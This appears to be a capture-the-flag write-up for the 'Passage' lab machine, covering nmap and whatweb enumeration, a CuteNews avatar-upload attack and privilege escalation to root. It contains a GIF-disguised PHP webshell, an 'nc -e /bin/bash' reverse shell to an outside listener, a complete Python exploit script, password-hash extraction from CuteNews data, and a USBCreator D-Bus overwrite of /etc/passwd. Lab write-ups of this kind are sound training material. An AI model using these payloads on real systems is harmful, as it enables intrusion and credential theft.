Passage

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.206 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Tue May 17 20:21:13 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.206
Warning: 10.10.10.206 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.206
Host is up (0.061s latency).
Not shown: 65391 closed tcp ports (reset), 142 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Tue May 17 20:21:32 2022 -- 1 IP address (1 host up) scanned in 18.96 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.206 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Tue May 17 20:21:50 2022 as: nmap -sCV -p22,80 -Pn -oN targeted 10.10.10.206
Nmap scan report for 10.10.10.206
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Passage News
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 17 20:22:02 2022 -- 1 IP address (1 host up) scanned in 11.67 seconds
If we scan the website with the whatweb tool, we'll see the passage.htb
domain name in one of the emails. We can also see that the website is powered by CuteNews.
whatweb http://10.10.10.206
http://10.10.10.206 [200 OK] Apache[2.4.18], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], Email[kim@example.com,nadav@passage.htb,paul@passage.htb,sid@example.com], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.206], JQuery, PoweredBy[CuteNews:], Script[text/javascript], Title[Passage News]
Whenever a domain name is discovered, we'll have to add it to the /etc/hosts
file.
nano /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.206 passage.htb
Now, let's take a look at the website.

Exploitation
If we add /CuteNews
to the URL, we'll see a login page.
http://10.10.10.206/CuteNews/

Let's register a new user.

Now, let's press on the Personal options
button.

Then, we'll see that we can upload files. The idea here is to upload a PHP webshell as the Avatar of the user, and then access it and send us a reverse shell. To be able to upload the PHP webshell, we'll have to uploaded as a GIF. First, let's create the webshell.php
file with the following content. The first line will indicate that the file is a GIF file.
GIF8;
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
If we try to see the type of file, we'll see that it appears to be a GIF file.
file webshell.php
webshell.php: GIF image data 16188 x 26736
Then, upload the webshell as the Avatar of the user.

Now, we could execute commands from the following URL.
http://passage.htb/CuteNews/uploads/avatar_alfa8sa_webshell.php
Let's get a reverse shell. First, set a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Then, if we access the following URL, the netcat listener will catch a reverse shell as the www-data
user.
http://passage.htb/CuteNews/uploads/avatar_alfa8sa_webshell.php?cmd=nc -e /bin/bash 10.10.14.3 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.206] 54206
whoami
www-data
Here is a python script which automates the entire process.
python3 exploit.py 10.10.14.2 http://10.10.10.206/CuteNews alfa8sa alfa8sa123
#/usr/bin/python3
from pwn import *
import requests
import signal
def def_handler(sig, frame):
print('\n[!] Saliendo...')
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
if len(sys.argv) != 5:
print("\n[!] Use: python3 " + sys.argv[0] + " lhost http://10.10.10.206/CuteNews username password\n")
sys.exit(1)
lhost = sys.argv[1]
url = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]
register_url = url + "/?register"
login_url = url + "/index.php"
upload_url = url + "/index.php?mod=main&opt=personal"
webshell_url = url + "/uploads/avatar_" + username +"_cmd.php"
def exploit():
s = requests.session()
register_data = {
"action": "register",
"regusername": username,
"regnickname": username,
"regpassword": password,
"confirm": password,
"regemail": "%s@%s.com" % (username, username)
}
r = s.post(register_url, data=register_data)
login_data = {
"action": "dologin",
"username": username,
"password": password
}
r = s.post(login_url, data=login_data)
r = s.get(upload_url)
signature_key = re.findall(r'name="__signature_key" value="(.*?)"', r.text)[0]
signature_dsi = re.findall(r'name="__signature_dsi" value="(.*?)"', r.text)[0]
profile_data = {
"mod": "main",
"opt": "personal",
"__signature_key": signature_key,
"__signature_dsi": signature_dsi,
"editpassword": "",
"confirmpassword": "",
"editnickname": username,
}
content_file = f"""GIF8;<?php echo "<pre>" . shell_exec('nc -e /bin/bash {lhost} 4444') . "</pre>"; ?>"""
file = {'avatar_file': ("cmd.php", content_file)}
r = s.post(login_url, data=profile_data, files=file)
r = s.get(webshell_url)
if __name__ == '__main__':
try:
threading.Thread(target=exploit, args=()).start()
except Exception as e:
log.error(str(e))
shell = listen(4444, timeout=20).wait_for_connection()
shell.interactive()
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
By default, CuteNews store the user's information in the /CuteNews/cdata/users/
directory, which has the lines
file with various information including the password hashes. The following command will show that file and decode it.
cat /var/www/html/CuteNews/cdata/users/lines | grep -v denied | base64 -d
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}
From that output, we can extract the following password hashes.
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
If we put those hashes in crackstation, we'll get the atlanta1
and egre55
passwords.

Now, let's see what users exist in the system.
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
nadav:x:1000:1000:Nadav,,,:/home/nadav:/bin/bash
paul:x:1001:1001:Paul Coles,,,:/home/paul:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
Now, we could try to become either the user paul
or nadav
with the passwords that we have. If we try the password atlanta1
we could get a shell as paul
. Then we could grab the user flag.
su paul
Password: atlanta1
paul@passage:/var/www/html/CuteNews/uploads$ whoami
paul
paul@passage:/var/www/html/CuteNews/uploads$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
paul@passage:/var/www/html/CuteNews/uploads$ cd
paul@passage:~$ cat user.txt
d752ce000696474d0335721f1bcdea17
At this point, I started enumerating the machine, and I saw that we have the user nadav
SSH key in the authorized_keys
file, so that means that we can log in via SSH with the user nadav
without giving any password.
ssh nadav@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$ whoami
nadav
If we take a look at the hidden files of the nadav
home directory, we'll see the .viminfo
file.
ls -la ~/
total 120
drwxr-x--- 17 nadav nadav 4096 May 18 09:18 .
drwxr-xr-x 4 root root 4096 Jul 21 2020 ..
---------- 1 nadav nadav 0 Jul 21 2020 .bash_history
-rw-r--r-- 1 nadav nadav 220 Jun 18 2020 .bash_logout
-rw-r--r-- 1 nadav nadav 3822 Jul 21 2020 .bashrc
drwx------ 12 nadav nadav 4096 Jul 21 2020 .cache
drwx------ 14 nadav nadav 4096 Jun 18 2020 .config
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Desktop
-rw-r--r-- 1 nadav nadav 25 Jun 18 2020 .dmrc
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Documents
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Downloads
-rw-r--r-- 1 nadav nadav 8980 Jun 18 2020 examples.desktop
drwx------ 2 nadav nadav 4096 Jun 18 2020 .gconf
drwx------ 3 nadav nadav 4096 May 18 09:18 .gnupg
-rw------- 1 nadav nadav 4176 May 18 09:18 .ICEauthority
drwx------ 3 nadav nadav 4096 Jun 18 2020 .local
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Music
drwxr-xr-x 2 nadav nadav 4096 Aug 31 2020 .nano
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Pictures
-rw-r--r-- 1 nadav nadav 655 Jun 18 2020 .profile
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Public
drwx------ 2 nadav nadav 4096 Jul 21 2020 .ssh
-rw-r--r-- 1 nadav nadav 0 Jun 18 2020 .sudo_as_admin_successful
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Templates
drwxr-xr-x 2 nadav nadav 4096 Jun 18 2020 Videos
-rw------- 1 nadav nadav 1402 Jul 21 2020 .viminfo
-rw------- 1 nadav nadav 103 May 18 09:17 .Xauthority
-rw------- 1 nadav nadav 82 May 18 09:17 .xsession-errors
-rw------- 1 nadav nadav 1404 Feb 5 2021 .xsession-errors.old
We can see at the bottom of the file, that it is using the USBCreator service, which allow us to escalate privileges.
# File marks:
'0 12 7 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
This article explains how we can exploit this vulnerability, which basically allow us to copy a file with root permissions. The idea is to make a copy of the /etc/passwd
file, then modify it changing the root password, and finally replace it with the original /etc/passwd
so we can become root. First, let's go to the /tmp
folder and make a copy of the /etc/passwd
file.
cd /tmp
cp /etc/passwd .
Now, we'll have to create a hash for the new password of the root user, which will be test
.
openssl passwd
Password: test
Verifying - Password: test
P3RUTh5RKzvg6
Now, in the /etc/passwd
copy, change the x
character next to the root user to the password hash we just made.
root:P3RUTh5RKzvg6:0:0:root:/root:/bin/bash
Finally, if we run the following commando, we will replace our custom passwd
file with the original /etc/passwd
file, and then we'll be able to get a shell as root.
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/passwd /etc/passwd true
Now, all we have to do is become the root user, and reap the harvest and take the root flag.
su root
Password: test
root@passage:/tmp# whoami
root
root@passage:/tmp# cat /root/root.txt
72bcc6caaeb19b74b7fc6806858757c5
Last updated
Was this helpful?